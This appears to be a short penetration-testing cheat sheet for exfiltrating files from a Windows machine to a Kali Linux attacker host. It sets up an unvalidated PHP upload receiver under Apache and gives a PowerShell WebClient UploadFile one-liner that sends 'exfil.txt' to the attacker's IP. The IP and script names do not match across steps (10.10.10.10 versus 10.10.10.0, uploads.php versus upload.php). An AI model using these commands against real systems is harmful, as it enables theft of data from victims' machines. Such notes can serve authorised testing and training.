# php exfil | Win --> Kali

**1] Save this php script as uploads.php in kali webroot /var/www/html**

```
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```

**2] Create an uploads directory**

```
sudo mkdir /var/www/uploads
```

**3]Make sure that apache server is up and running on Kali workstation**

```
sudo systemctl start apache2

ps -ef | grep apache
```

**4] Modify www-data user permissions granting writing privileges**

```
sudo chown www-data: /var/www/uploads
```

**5]**&#x57;indows :**Invoke the UploadFile method** from the System.Net.WebClient class to exfil files

```
kali $ip: 10.10.10.10

powershell (New-Object System.Net.WebClient).UploadFile('http://10.10.10.0/upload.php', 'exfil.txt')
```
